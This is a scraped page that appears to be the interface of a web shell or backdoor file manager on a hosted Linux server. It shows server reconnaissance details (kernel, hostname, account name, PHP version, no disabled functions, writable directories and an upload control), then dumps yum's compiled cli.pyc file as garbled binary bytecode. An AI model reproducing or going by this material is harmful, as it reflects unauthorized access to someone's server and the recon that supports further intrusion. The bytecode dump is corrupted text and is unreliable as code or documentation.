KGRKJGETMRETU895U-589TY5MIGM5JGB5SDFESFREWTGR54TY
Server : Apache
System : Linux cs317.bluehost.com 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
User : andertr9 ( 1047)
PHP Version : 8.2.18
Disable Function : NONE
Directory :  /usr/share/yum-cli/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //usr/share/yum-cli/cli.pyc
�
�v_c@s�dZddlZddlZddlZddlZddlZddlZddlZddlm	Z	m
Z
mZddlZddl
Z
ddlZddlmZddlZddlZddlZddlZddlZddlZddlZddlmZddlmZmZddlmZddlZddlZddl m!Z!m"Z"m#Z#dd	l$m%Z%d
�Z&dej'j(fd��YZ)d
ej*ej+fd��YZ,de	fd��YZ-d�Z.dS(s/
Command line interface yum class and related.
i����N(tOptionParsertOptionGroupt
SUPPRESS_HELP(tproxy(tisMultiLibArch(t_tP_(tRPMTransaction(t
to_unicodetto_utf8t
exception2msg(t
parsePackagescCstjdIJtjd�dS(s�SIGQUIT handler for the yum cli.  This function will print an
    error message and exit the program.
    
    :param signum: unused
    :param frame: unused
    s&Quit signal sent - exiting immediatelyiN(tsyststderrtexit(tsignumtframe((s/usr/share/yum-cli/cli.pytsigquit:s
tCliErrorcBseZdZdd�ZRS(s)Command line interface related Exception.tcCs tjjj|�||_dS(N(tyumtErrorstYumBaseErrort__init__targs(tselfR((s/usr/share/yum-cli/cli.pyRGs(t__name__t
__module__t__doc__R(((s/usr/share/yum-cli/cli.pyRDst
YumBaseClicBs�eZdZd�Zd�Zd.dd�Zd�Zd�Zd�Z	d�Z
ed	�Zd
�Z
d�Zd�Zd
�Zd�Zd�Zd�Zd�Zeed�Zd�Zdd.d�Zded�Zd�Zedd�Zd�Zd�Zdd�Zed.d�Zd�Z d �Z!d!�Z"d"�Z#d#�Z$d$�Z%ed%�Z&d&�Z'd'�Z(ed(�Z)d)�Z*d*�Z+d+�Z,d,�Z-ed-�Z.RS(/s#This is the base class for yum cli.cCs�tjtjt�tjj|�tjj|�tj	�tj
d�|_tj
d�|_i|_
t|_|jtj��|jtj��|jtj��|jtj��|jtj��|jtj��|jtj��|jtj��|jtj��|jtj��|jtj��|jtj��|jtj��|jtj��|jtj ��|jtj!��|jtj"��|jtj#��|jtj$��|jtj%��|jtj&��|jtj'��|jtj(��|jtj)��|jtj*��|jtj+��|jtj,��|jtj-��|jtj.��|jtj/��|jtj0��dS(Nsyum.clisyum.verbose.cli(1tsignaltSIGQUITRRtYumBaseRtoutputt	YumOutputtloggingtbasicConfigt	getLoggertloggertverbose_loggertyum_cli_commandstTruetuse_txmbr_in_callbacktregisterCommandtyumcommandstInstallCommandt
UpdateCommandtInfoCommandtListCommandtEraseCommandt
GroupsCommandtMakeCacheCommandtCleanCommandtProvidesCommandtCheckUpdateCommandt
SearchCommandtUpgradeCommandtLocalInstallCommandtResolveDepCommandtShellCommandtDepListCommandtRepoListCommandtHelpCommandtReInstallCommandtDowngradeCommandtVersionCommandtHistoryCommandtCheckRpmdbCommandtDistroSyncCommandtLoadTransactionCommandtSwapCommandtRepoPkgsCommandtUpdateinfoCommandtUpdateMinimalCommandtFSSnapshotCommandt	FSCommand(R((s/usr/share/yum-cli/cli.pyRNsN
		cCsVxO|j�D]A}||jkrAtjjtd�|��n||j|<q
WdS(sRegister a :class:`yumcommands.YumCommand` so that it can be called by
        any of the names returned by its
        :func:`yumcommands.YumCommand.getNames` method.
        
        :param command: the :class:`yumcommands.YumCommand` to register
        sCommand "%s" already definedN(tgetNamesR(RRtConfigErrorR(Rtcommandtname((s/usr/share/yum-cli/cli.pyR+xsicCs�|jr|dkr|jS|sD|jjtjjtd��n|ritjj	|d|dt
�ntjj	|d|�|r�|jjtjjtd��|jd|�n|jS(s�Grab the repomd.xml for each enabled and set up the basics
        of the repository.

        :param thisrepo: the repository to set up
        :param dosack: whether to get the repo sack
        sSetting up repositoriestthisrepotdoSetups/Reading repository metadata in from local filesN(t_repostNoneR'tlogRt
logginglevelstINFO_2RR t	_getReposR)t	_getSacks(RRPtdosack((s/usr/share/yum-cli/cli.pytdoRepoSetup�s
cCs�d}tjjg|jj�D]$}t|d�o:|js|^q�}|jdd��xn|D]f}y.|j�}|d|j	�d|f7}Wqft
tfk
r�|d|j	�d7}qfXqfW|S(sq
        Format an attractive usage string for yum, listing subcommand
        names and summary usages.
        s*yum [options] COMMAND

List of Commands:

thiddentkeycSs|j�dS(Ni(RL(tx((s/usr/share/yum-cli/cli.pyt<lambda>�ss	%-14s %s
is%s
(RtmisctuniqueR(tvaluesthasattrR[tsortt
getSummaryRLtAttributeErrortNotImplementedError(RtusageR]tcommandsRNtsummary((s/usr/share/yum-cli/cli.pyt
_makeUsage�s'
" c
Cs�i}tjj�}g|_g}g}x9|D]1}|jd�}t|�dkrk|j|�q1nt|�dkr�|j|�q1ng|D]}|j�^q�\}	}
|	jd�}|dkrB|	| }|	|d}	||krtjj�||<g||_nt	|||	|
�||jj|	�q1t	||	|
�|jj|	�q1W||_
||_||fS(s{parse the setopts list handed to us and saves the results as
           repo_setopts and main_setopts in the yumbase objectt=it.i����i(RR_t
GenericHoldertitemstsplittlentappendtstriptrfindtsetattrtmain_setoptstrepo_setopts(
Rtsetoptstrepooptstmainoptst
bad_setopt_tmt
bad_setopt_netitemtvalstitktvtperiodtrepo((s/usr/share/yum-cli/cli.pyt
_parseSetOpts�s8	


%
		cCs]td|d|j��|_|jj|�}|jrVtjGHt|_t	|_
n|j|j�\}}|j
r�x3|j
jD]"}t||t|j
|��q�Wn|jj|�}|jr�d|_n|j
r�d|_|_nyx|j}|j|_||_|j|_tjjtjjf|_|j|_|j|_|j|_|jj|j�|_ |jj|j!�|_"|j#|_#|j$x(|D] }d}	|j%j&|	|�q�Wx(|D] }d}	|j%j&|	|�q�W|j
rgxe|j
jD]T}t'|j$|�sAd}	|j%j&|	|�nt|j$|t|j
|��qWnWn�tj(j)k
r�}
|j%j*t+d�|
�t,j-d	�n�t.k
r}
d
t/|
j0d	�t1|
j2�f}
|j%j*t+d�|
�t,j-d	�n9t3k
r?}
|j%j*t+d�|
�t,j-d	�nX|jj4|j��|jj5dd|�|jj6d|�\}|_7|jr�t|_t	|_
n|jr�d|_n|j
r�d|_|_n|j|jks�|j|jkr|j%j&t+d
��n|dkrM|j|jkrM|j%j&t+d��n|jr�d	|j$_8|j9}t	}d�}
d�}x t:|j;j<d|��D]}|r�dGHnt}|j=dkr�d|j|j>|j?f}n"d|j=|j|j>|j?f}d|j@jAd|jB|j@jAdf}t+d�|||
|jC�fGHt+d�t/|jD�|
|jE�fGHt+d�t/|jF�||jG�fGHq�Wt,j-d�n|jHd k	r�tJjK|jHd�}nd}||_0d|_Lx$|j0D]}|jLd|7_LqWy|jM�WntNk
rKt,j-d	�nXtOjP|�d S(!s�Parse command line arguments, and set up :attr:`self.conf` and
        :attr:`self.cmds`, as well as logger objects in base instance.

        :param args: a list of command line arguments
        tbaseRgiis'Setopt argument has multiple values: %ss Setopt argument has no value: %ss1Main config did not have a %s attr. before setoptsConfig error: %sis%s: %ssOptions error: %sRsGIgnored option -q, -v, -d or -e (probably due to merging: -yq != -y -q)t/s8Ignored option -c (probably due to merging -yc != -y -c)cSstjdtj|��S(Ns%Y-%m-%d %H:%M(ttimetstrftimetgmtime(R]((s/usr/share/yum-cli/cli.pyt
sm_ui_time?scSstjdtj|��S(Ns%Y-%m-%d(R�R�R�(R]((s/usr/share/yum-cli/cli.pyt
sm_ui_dateAstpatternsRt0s%s-%s.%ss%s:%s-%s.%ss%s%s%stboldtnormals  Installed: %s-%s at %ss  Built    : %s at %ss  Committed: %s at %si<syum s%s N(QtYumOptionParserRjt	optparsert
firstParsetversionRt__version__R)tquiettFalsetverboseR�RwRuRnRttgetattrtgetRoott
debuglevelt
errorleveltpreconftconffiletfntroott	nopluginstinit_pluginstpluginst	TYPE_COREtTYPE_INTERACTIVEtplugin_typest	_splitArgtdisablepluginstdisabled_pluginst
enablepluginstenabled_pluginst
releasevertconfR&twarningRbRRMtcriticalRRRtIOErrorRRtreprtfilenamet
ValueErrort	set_usagetruntsetupYumConfigtcmdstcachetrun_with_package_namestsortedtrpmdbtreturnPackagestepochtreleasetarchttermtMODEROtinstalltimetpackagert	buildtimet	committert
committimet	sleeptimeRStrandomt	randranget	cmdstringt
parseCommandsRR�tsleep(RRtoptsRzR{toptR�tpcR|tmsgtet	yum_progstdoneR�R�tpkgtverROR�targ((s/usr/share/yum-cli/cli.pytgetOptionsConfig�s�			#				
	

	*&				$				"			
cCs�|jjdtj�|jjtjjd|j�|jjtjjd|jj	�t
|jj�dkr�t
|j�dkr�|jj|_n|j|j_t
|j�dkr�|j
jtd��|j�t�n|jd|_|jd|_t
|j�dkrd|jjtjjd�x0|jD]"}|jjtjjd|�q;Wn|j|jkr�|j
jtd	�|jtjd�t�n|j�|j|jj||j|j�d
S(s�Read :attr:`self.cmds` and parse them out to make sure that
        the requested base command and argument makes any sense at
        all.  This function will also set :attr:`self.basecmd` and
        :attr:`self.extcmds`.
        sYum version: %ssCOMMAND: %ssInstallroot: %siisYou need to give some commandsExt Commands:
s   %ss)No such command: %s. Please use %s --helpN(R'tdebugRR�RTRUtDEBUG_4R�R�tinstallrootRpRhR�R&R�RRgRtbasecmdtextcmdsR(Rtargvt_set_repos_cache_reqtdoCheck(RR�((s/usr/share/yum-cli/cli.pyR�ks2
-
	#	
c	Cs�|j|j}d}t|d�rC|j||j|j�}nd}d}x�|jj�D]y}tj	j
|j�s�d}Pntj|j�j
}|s�|}|}q_||kr�|}q_||kr_|}q_q_W|r||dkr�d}q|tj�krd}qn|s(d}nt}x5|jj�D]$}||_|j�r>t}q>q>W|r�|r�tj�|dkr�|r�dS|jjtd��ndS(s< Set the cacheReq attribute from the commands to the repos. twritetcacheRequirementi<iiiNsJRepodata is over 2 weeks old. Install yum-cron? Or run: yum makecache fastii�Qi��ii�Qiu(R(R�RbR�R�RStrepostlistEnabledtostpathtexiststmetadata_cookietstattst_mtimeR�R)Rct_metadata_cache_reqt_matchExpireFilterR�R&R�R(	RR�tcmdtcacheReqtts_mintts_maxR�trtstall_obey((s/usr/share/yum-cli/cli.pyR��sD			
			
"cCs~t|d�sdS|js dS|j}g|D]}dj|�^q0}|jd�dj|�}|jjd|�dS(Nt_shell_history_cmdst Rs
s
shell-cmds(RbR�tjoinRqthistorytwrite_addon_data(RtdataR�((s/usr/share/yum-cli/cli.pyt_shell_history_write�s		"
cCs`tjd|�}|j|_t|j�dkr@|j�n
|j�|`|j|jfS(s�Run a shell-like interface for yum commands.

        :return: a tuple containing the shell result number, and the
           shell result messages
        R�i(	tshelltYumShellR�RpR�tcmdlooptscripttresultt
resultmsgs(Rtyumshell((s/usr/share/yum-cli/cli.pytdoShell�s

cCsAd}tjd�}i}x�|j|�D]�}|jd�dkr[t|jd��ntjt|jd��d�}|jd�|kr�|||jd�<n||jd�|kr+|||jd�<q+q+W|r-|td�7}x9|D].}|td	d	||�|||f7}q�Wntd
�|}|S(s�Parse the error string for 'interesting' errors which can
        be grouped, such as disk space issues.

        :param errstring: the error string
        :return: a string containing a summary of the errors
        Rs)needs (\d+)(K|M)B on the (\S+) filesystemitMig�@isDisk Requirements:
s8  At least %dMB more space needed on the %s filesystem.
sError Summary
-------------
(	tretcompiletfinditertgrouptinttmathtceilRR(Rt	errstringRitptdisktmt
size_in_mbR((s/usr/share/yum-cli/cli.pyterrorSummary�sL
/cCs�d}x�tr�y|j�Wn�tjjk
r�}t|�|krft|�}|jj|�n|jr�tjj	t
d��n|jjs�|jjd�ddl
}|j|j|j�tjd�q�tjj	t
d��q	XPq	WdS(s5Establish the yum lock.  If another process is already
        holding the yum lock, by default this method will keep trying
        to establish the lock until it is successful.  However, if
        :attr:`self.conf.exit_on_lock` is set to True, it will
        raise a :class:`Errors.YumBaseError`.
        RsCan't create lock file; exitingsHAnother app is currently holding the yum lock; waiting for it to exit...i����NisTAnother app is currently holding the yum lock; exiting as configured by exit_on_lock(R)tdoLockRRt	LockErrorR
R&R�terrnoRRR�texit_on_locktutilstshow_lock_ownertpidR�R�(RtlockerrR�R((s/usr/share/yum-cli/cli.pytwaitForLocks"		cCs�t}t}|j|j}t|d�rI|j||j|j�}n|r}t|d�r}|j||j|j�}n|s�|r�y|j|�Wq�t	j
jk
r�}dt|�gfSXn|j
dt�|j|jj||j|j�S(s2Call the base command, and pass it the extended commands or
           arguments.

        :return: (exit_code, [ errors ])

        exit_code is::

            0 = we're done, exit
            1 = we've errored, exit with error string
            2 = we've got work yet to do, onto the next stage
        tneedTstneedTsRemoveiR�(R)R�R(R�RbRR�Rt_getTsRRRR
R�t	doCommand(RRRR�R�((s/usr/share/yum-cli/cli.pyt
doCommands&sc!
s�fd�}t|j�dkr>|jjtd��dS|j�}|jjtjj	�r~|jj
tjj	|�n,|jjs�|jj
r�|jj|�ng}g}t�t}xs|jj�D]b}|jd,krt}|j}|r4|j|�q4q�t�|j}|r�|j|�q�q�W|jj��s[|j|�n|j||�|jj}|d-k	r|jj�|dkrtd�}	|d	r�|	td
�7}	|jjt|	��q|	td�7}	tjj|	��n|j �rkd-}
|jjs-||�}
n|
sM|jjtd��dS|
d
krkt|j_!qkn|jj!r�|jj
tjj"td��n|jj
tjj"td��|j#|d|j$�}t|�dkrVd}|td�7}xI|D]A}
tj%j&||
�}x"|D]}|d|
|f7}q"Wq�Wtjj|�n|j'|�dkrodS|j(�|j)}d-|_)|j*dd�t+j+�}|jj
tjj"td��|j,�}t}|r�t}x)|D]!}	|	j-d�rq�nt}q�W|r$td�GHntd�GHt}x|D]}	t.|	�GHq<W|rjdtd�gfS|rzdgfSdtd�|jj/gfSn|jj0dt+j+�|�t+j+�}|jj
tjj"td��|jj1�|jj2�t3|dt�}|jj4|�}~t|�dkr�td�}x"|D]}|dt5|�7}qIWtjj|d |j6|��n|jj
tjj"td!��|jj0d"t+j+�|�t7j7t7j8t7j9�t+j+�}t}x*|jj�D]}|j:r�t}Pq�q�W|rf|j(�|j*dd�|jj;�|jj1�|jj2�n||_)t3|d#t<j=t>|���}|jj?d	kr�t|j@_<nid$gd%6}x�|D]�}|jjAd&|�s�|jBjCd&|�rq�nx�||D]|}y7tDjEjF|�|jj
tjjGtd'�|�WqtHk
r�}|jj
tjjGtd(�||f�qXqWq�W|jj
tjj"td)��|jId*|�} |jj0d+t+j+�|�|jj
tjj	|jJ��t7j7t7j8tK�| jLS(.s)Take care of package downloading, checking, user
        confirmation and actually running the transaction.

        :return: a numeric return code, and optionally a list of
           errors.  A negative return code indicates that errors
           occurred in the pre-transaction checks
        csxidtd�td�td�fd6}�s\|jd|�}|dkrXd}n|S|jdtd�d|�S(NudtdtdownloadtdownloadonlytextratpromptsIs this ok [y/d/N]: (RtuserconfirmRS(Rtdl_onlytret(tstuff_to_download(s/usr/share/yum-cli/cli.pyt_downloadonly_userconfirmSs	is9Trying to run the transaction but nothing to do. Exiting.i����R~tuis6future rpmdb ver mismatched saved transaction version,is ignoring, as requested.s
 aborting.sExiting on user commandRs.Background downloading packages, then exiting:sDownloading packages:tcallback_totalRsError downloading packages:
s	  %s: %s
tkeepoldsRunning transaction checksrpmlib(s'ERROR You need to update rpm to handle:s)ERROR with transaction check vs depsolve:sRPM needs to be updatedsPlease report this error in %ssTransaction check time: %0.3fsRunning transaction testttestsTransaction check error:
s  %s
s
sTransaction test succeededsTransaction test time: %0.3ftdisplayslibnsssysinit.sosnss-sysinitROsPreloaded shared library %ss'Could not preload shared library %s: %ssRunning transactiontcbsTransaction time: %0.3f(R~R%N(MRpttsInfoR'tinfoRtlistTransactiontisEnabledForRRUtINFO_1RTR�tassumenot	assumeyesR&twarnR�R)t
getMemberstts_statetpoRqttstclosetreportRemoveSizetreportDownloadSizet_check_future_rpmdbvRStfutureRpmDBVersionR�RRt
_promptWantedRRVtdownloadPkgstdownload_callback_total_cbR_R`tgpgsigchecktinitActionTst
dsCallbackt
populateTsR�t_run_rpm_checkt
startswithR	tbugtracker_urlR�tordertcleanRR(RRRRtSIG_DFLt	reinstalltcheckR!tYumCliRPMCallBacktweakrefR�R)t
matchNaevrR�tsearchNevratctypestcdlltLoadLibraryR�t	ExceptiontrunTransactiontpostTransactionOutputRtreturn_code(!RR$tlststdownloadpkgstrmpkgstinstall_onlyttxmbrR5tcfrR�tuctproblemsRR\terrorsterrortdscbtrcd_sttmsgstdepsolvetrpmlib_onlyttt_stttestcbttserrorstdescrtts_stthave_reinstallsR*tpreloadR�tlibR�tresultobject((R#s/usr/share/yum-cli/cli.pyt
doTransactionKs$		





		




 




	


		

				#
cs�x�|D]�}�j|�\}}|dkr4qq|dkr��jjoV�jj}tjj�r�|r�tjj	t
d��n�j|�fd��qtjj	|�qWdS(sLPerform GPG signature verification on the given packages,
        installing keys if possible.

        :param pkgs: a list of package objects to verify the GPG
           signatures of
        :return: non-zero if execution should stop due to an error
        :raises: Will raise :class:`YumBaseError` if there's a problem
        iisTRefusing to automatically import keys when running unattended.
Use "-y" to override.cs
�j�S(N(R (R]tytz(R(s/usr/share/yum-cli/cli.pyR^Vs(tsigCheckPkgR�R1R0RtstdintisattyRRRRtgetKeyForPackage(RtpkgsR5R�terrmsgtay((Rs/usr/share/yum-cli/cli.pyR?=s	
	cCs�|jd|gdt�}|j|j}ttd�|��}|r�|jtd�dj|��}|j	j
tjj
t|��ndS(s= If install argument doesn't match with case, tell the user. R�tignore_casecSs|jS(N(RO(R]((s/usr/share/yum-cli/cli.pyR^bss  * Maybe you meant: s, N(tdoPackageListsR)t	installedt	availabletsettmapt
fmtKeyValFillRR�R'RTRRURVR(RR�tmatchesR�((s/usr/share/yum-cli/cli.pyt_maybeYouMeant^sc	Cs�|s|ddkrdSd}|r0d}n|jd|d|gdt�}|jss|jrw|j|�rwdS|jjd	}|jjd
}|jr�|jjt	j
jtd�|||�dS|jd|d|gdt
�}|jr,|jr,|jjt	j
jtd�|||�dSttd�|j��}|sS|r~|jjt	j
jtd
�|||�n|r�|jtd�dj|��}|jjt	j
j|�ndS(sr If the update/remove argument doesn't match with case, or due
            to not being installed, tell the user. it@NtallRzt	pkgnarrowR�RxR�R�s/Package(s) %s%s%s available, but not installed.cSs|jS(N(RO(R]((s/usr/share/yum-cli/cli.pyR^�ssNo package %s%s%s available.s  * Maybe you meant: s, (RyR�RzR{treturnInstalledPackagesByDepR�R�R'RTRRURVRR)R|R}R~R�(	RR�t
always_outputt
rpmdb_onlyR�RthibegthiendR�((s/usr/share/yum-cli/cli.pyt_checkMaybeYouMeanths>	!		
!	
	cs��jjsgSg}t��d���fd��xK|D]C}x'|jD]\}}|�|�7}qNW|�|j�7}q>W|S(s�Go through the given txmbrs, and for any to be installed packages
        look for their installed deps. and try to upgrade them, if the
        configuration is set. Returning any new transaction members to be
        isntalled.

        :param txmbrs: a list of :class:`yum.transactioninfo.TransactionMember` objects
        :return: a list of :class:`yum.transactioninfo.TransactionMember` objects
        cs�|j�krgS|dkr(|}n�j|j�g}xu|jD]j}xa�j|�D]P}|j�kryq^n|�jd|jd|�7}|�|d|�7}q^WqHW|S(NROtrequiringPotreqpo(RORStaddtrequiresR�tupdate(R�R�turettreqtnpkg(t_pkg2upsR�R(s/usr/share/yum-cli/cli.pyR��s	N(R�tupgrade_requirements_on_installR|RSt	relatedtoR5(RttxmbrsR"RZtrtxmbrtT((R�R�Rs/usr/share/yum-cli/cli.pyt_install_upgraded_requires�s
	
tinstallcCs�t|j�}t}x�|D]�}|jd�rwtjj|�sUtjj	|�rw|j
|�}|j|�qny�tr�n�|dkr�|jd|�}n�|dkr/y|j
dd�\}}	WnE|jjtd�||�|jjs
dtd�gfSwnX|jd|d	|	�}n�|d
kr�yO|j
dd�\}
}	|
j
dd�\}}}|jd
d�\}
}WnE|jjtd�||�|jjs�dtd�gfSwnX|jd|d|
d|d|d	|	�}n*|dkst|��|jd|�}Wn�tjjk
r}}
|jjtjj|
�|jjsdtd�gfSqtjjk
r�|jjtjjtd�|jjd||jjd�|j|�|jjsdtd�gfSqXt}|j|�qWt|j�|krXt|j�|}dtdd|�|gfS|sqdtd�gfSdtd�gfS(ssAttempt to take the user specified list of packages or
        wildcards and install them, or if they are installed, update
        them to a newer version. If a complete version number is
        specified, attempt to upgrade (or downgrade if they have been
        removed) them to the specified version.

        :param userlist: a list of names or wildcards specifying
           packages to install
        :return: (exit_code, [ errors ])

        exit_code is::

            0 = we're done, exit
            1 = we've errored, exit with error string
            2 = we've got work yet to do, onto the next stage
        s.rpms	install-nROs
install-naRlisBad %s argument %s.s2Not tolerating missing names on install, stopping.R�s
install-nevrat-it:R�R�R�R�tpatternsNo package %s%s%s available.R�R�s%d package to installs%d packages to installs
Nothing to doi( RpR+R�tendswithRR_t
re_remote_urlR�R�R�tinstallLocalR�R�trsplitR'R�RR�tskip_missing_names_on_installRotAssertionErrorRtGroupInstallErrorRTRURVtInstallErrorR�R�R�R)R(RtuserlistR�trepoidtoldcountR�R�R�tntatnevrtevtrR�R�tchange((s/usr/share/yum-cli/cli.pytinstallPkgs�st
!


	
ic	
Cs�t|j�}t|�dkr.|j�nDxA|D]9}|jd�r�tjj|�sntjj	|�r�|j
|dd�}|j|�q5ny|jd|d|�}Wn@tjj
tjjfk
r�|j|�dtd�gfSX|j|�|s5|j|�|jjsn|jdd	d
|gdt�}|jrk|jrkdtd�gfSqnq5q5Wt|j�|kr�t|j�|}dtd
d|�|gfSdtd�gfSdS(s�Take user commands and populate transaction wrapper with
        packages to be updated.

        :param userlist: a list of names or wildcards specifying
           packages to update.  If *userlist* is an empty list, yum
           will perform a global update
        :param quiet: unused
        :param update_to: if *update_to* is True, the update will only
           be run if it will update the given package to the given
           version.  For example, if the package foo-1-2 is installed,
           updatePkgs(["foo-1-2], update_to=False) will work
           identically to updatePkgs(["foo"]), but
           updatePkgs(["foo-1-2"], update_to=True) will do nothing
        :return: (exit_code, [ errors ])

        exit_code is::

            0 = we're done, exit
            1 = we've errored, exit with error string
            2 = we've got work yet to do, onto the next stage
        is.rpmt
updateonlyiR�t	update_tos1Not tolerating missing names on update, stopping.R�R�R�Rxis%d package marked for updates%d packages marked for updatesNo packages marked for updateN(RpR+R�R�RR_R�R�R�R�R�R�RtUpdateMissingNameErrorR�R�RR�tskip_missing_names_on_updateRyR�R{RzR(	RR�R�R�R�R|R�RR�((s/usr/share/yum-cli/cli.pyt
updatePkgss2

!



!cCs�d}|rH|ddkrH|d}|d}|dkrHd}qHng}i}x0t|jjd|��D]}|||j<qpWg}|jjr�|jjdd�}nxC|D];\}}|d|kr�q�n|j|j	d|��q�Wx5|D]-\}}|d|kr q�n||d=q�Wi}	g}
|r�y|j
jd|j��}
Wq�t
jjk
rg}
q�Xnx0|
D](}|j|kr�q�n||	|j<q�Wx�|D]�}||	kr�q�n||}|	|}
|j|
�r|dkr
q�nx�|jj|g�D]�}|j|
�re|j|�re|j|jd	|��q n|j}t}xc|j
j|j�D]L}
d
|kr�d|kr�|j|
jkr�|j|
jkr�t}Pq�q�W|r�q n|j|jd|j��q Wq�n|j|
�r�t}xc|jj|
jg�D]I}|j|
�rXt}q:|j|
�r:|j|jd	|��q:q:W|r�q�n|j|jd|
j��q�|j|
�r|
j\}}}}}|j|j	d
|d|d|d|��q�|
j\}}}}}|j|j d
|d|d|d|��q�W|r}dt!ddt"|��t"|�gfSdt#d�gfSdS(s�Upgrade or downgrade packages to match the latest versions
        available in the enabled repositories.

        :param userlist: list of names or wildcards specifying
           packages to synchronize with the repositories.  If the
           first string in *userlist* is "full", packages will also be
           reinstalled if their checksums do not match the checksums
           in the repositories.  If *userlist* is an empty list or
           only contains "full", every installed package will be
           synchronized
        :return: (exit_code, [ errors ])

        exit_code is::

            0 = we're done, exit
            1 = we've errored, exit with error string
            2 = we've got work yet to do, onto the next stage
        tdiffitfullt	differentiR�tnewesttpkgtupR5t
checksum_typet
checksum_dataR�ROR�R�trelis2%d package marked for distribution synchronizations3%d packages marked for distribution synchronizations3No packages marked for distribution synchronizationN(R�R�R�($R�R�R�ROR�t	obsoletestuptgetObsoletesTuplestextendR�tpkgSacktreturnNewestByNametkeysRRtPackageSackErrortverEQtsearchNamestallowedMultipleInstallstremovet
yumdb_infoR�tsearchPkgTupleR�R�R�tpkgIdR)RItverGTR�tverLTt	downgradeRRpR(RR�tleveltdupdatestipkgsR�R�t
obsoletingRztapkgsRutipkgnametipkgtapkgtnapkgtnayitfoundR�R�R�R�R�((s/usr/share/yum-cli/cli.pytdistroSyncPkgsOs�

"




	 	 ./)R�cCs1g}x�|D]�}|rG|jd|�}|r
|j|�q
q
ntrPnh|dkrq|jd|�}nG|dkr�y|jdd�\}}Wn&|jjtd	�||�q
nX|jd|d
|�}n�|dkr�yO|jdd�\}	}|	jd
d�\}}
}|
jdd�\}}
Wn&|jjtd	�||�q
nX|jd|d|d|
d|d
|�}n*|d ks�t|��|jd|�}|s�|j	|dtdt
�n|j|�q
W|rdtddt|��t|�gfSdtd�gfSdS(!s�Take user commands and populate a transaction wrapper with
        packages to be erased.

        :param userlist: a list of names or wildcards specifying
           packages to erase
        :return: (exit_code, [ errors ])

        exit_code is::

            0 = we're done, exit
            1 = we've errored, exit with error string
            2 = we've got work yet to do, onto the next stage
        R5serase-nsremove-nROserase-nas	remove-naRlisBad %s argument %s.R�serase-nevrasremove-nevraR�iR�R�R�R�teraseR�R�R�R�s%d package marked for removals%d packages marked for removalisNo Packages marked for removalN(serase-nsremove-n(serase-nas	remove-na(serase-nevrasremove-nevra(R�sremove(
R�R�R�R�R'R�RRoR�R�R)RRp(RR�tposR�tall_rmsR�trmsR�R�R�R�R�R�R�((s/usr/share/yum-cli/cli.pyt	erasePkgs�sJ


-)c
CsZt|j�}t}x�|D]�}|jd�rhtjj|�sUtjj	|�rh|j
|�qny|jd|�Wn`tjj
k
r�|jjtjjtd�|jjd||jjd�|j|�qXt}qWt|j�|kr.t|j�|}dtdd|�|gfS|sGd	td
�gfSdtd
�gfS(sAttempt to take the user specified list of packages or
        wildcards and downgrade them. If a complete version number if
        specified, attempt to downgrade them to the specified version

        :param userlist: a list of names or wildcards specifying
           packages to downgrade
        :return: (exit_code, [ errors ])

        exit_code is::

            0 = we're done, exit
            1 = we've errored, exit with error string
            2 = we've got work yet to do, onto the next stage
        s.rpmR�sNo package %s%s%s available.R�R�is%d package to downgrades%d packages to downgradeis
Nothing to doi(RpR+R�R�RR_R�R�R�R�tdowngradeLocalR�RtDowngradeErrorR'RTRURVRR�R�R�R)R(RR�R�R�R�R�((s/usr/share/yum-cli/cli.pyt
downgradePkgs�s,
!
	
cCs*t|j�}t}x�|D]�}|jd�rwtjj|�sUtjj	|�rw|j
|�}|j|�qny|jd|�}Wntj
jk
r�|j|dt�qtj
jk
r^}x�|jD]}d}d|jkr|jj}td�|}ntd�}	|jjtjj|	|jjd||jjd	|�q�Wqtj
jk
r�}ts�td
��|jjtjj|�qXt}|j|�qWt|j�|kr�t|j�|}
dtdd
|
�|
gfS|sdtd�gfSdtd�gfS(s�Attempt to take the user specified list of packages or
        wildcards and reinstall them.

        :param userlist: a list of names or wildcards specifying
           packages to reinstall
        :return: (exit_code, [ errors ])

        exit_code is::

            0 = we're done, exit
            1 = we've errored, exit with error string
            2 = we've got work yet to do, onto the next stage
        s.rpmR�R�Rt	from_repos
 (from %s)s)Installed package %s%s%s%s not available.R�R�s"Shouldn't happen, but just in caseis%d package to reinstalls%d packages to reinstallis
Nothing to doi(RpR+R�R�RR_R�R�R�R�treinstallLocalR�RIRtReinstallRemoveErrorR�tReinstallInstallErrortfailed_pkgsR�R�RR'RTRURVR�R�tReinstallErrorR�R)R(RR�R�R�R�R�R�R�txmsgR�R�((s/usr/share/yum-cli/cli.pyt
reinstallPkgs$sB
!
cCs�t|�dkr%dtd�gfSt}xc|D][}|jd�si|jjtjjd|�q2n|j	|d|�}|r2t
}q2q2W|r�dtd�gfSdtd�gfS(	s�Install or update rpms provided on the file system in a
        local directory (i.e. not from a repository).

        :param filelist: a list of names specifying local rpms
        :return: (exit_code, [ errors ])

        exit_code is::

            0 = we're done, exit
            1 = we've errored, exit with error string
            2 = we've got work yet to do, onto the next stage
        isNo packages provideds.rpms,Skipping: %s, filename does not end in .rpm.R�isPackage(s) to installs
Nothing to do(RpRR�R�R'RTRRURVR�R)(RtfilelistR�t
installingR�R�((s/usr/share/yum-cli/cli.pytlocalInstall[s


c	CsMddddddddg}d}t}t}t|�d	kr�|rn|d	dkrnt}|jd	�q�|r�|d	dkr�t}|jd	�q�|d	|kr�|jd	�}q�n|jd
|d|dtd
|�}|jjr|j|j7_n|r%|j|_	|j
|_n|r7g|_n|rIg|_
n|S(s�Return a :class:`yum.misc.GenericHolder` object containing
        lists of package objects that match the given names or wildcards.

        :param extcmds: a list of names or wildcards specifying
           packages to list
        :param installed_available: whether the available package list
           is present as .hidden_available when doing all, available,
           or installed
        :param repoid: a repoid that all packages should belong to

        :return: a :class:`yum.misc.GenericHolder` instance with the
           following lists defined::

             available = list of packageObjects
             installed = list of packageObjects
             updates = tuples of packageObjects (updating, installed)
             extras = list of packageObjects
             obsoletes = tuples of packageObjects (obsoleting, installed)
             recent = list of packageObjects
        R{RzR�textrastupdatestrecentR�s
distro-extrasiR�R�RxR�(R�RpR)tpopRyR�tshowdupesfromreposR{treinstall_availablethidden_availableRzthidden_installed(	RR�tinstalled_availableR�tspecialR�tdone_hidden_availabletdone_hidden_installedtypl((s/usr/share/yum-cli/cli.pytreturnPkgLists~s4csUddddg}�jj}tt���t�}t�}t�}t�}���fd�}t��dkr��ddkr��jd�n��jddg�d	|d
t�}	x�|	D]�\}
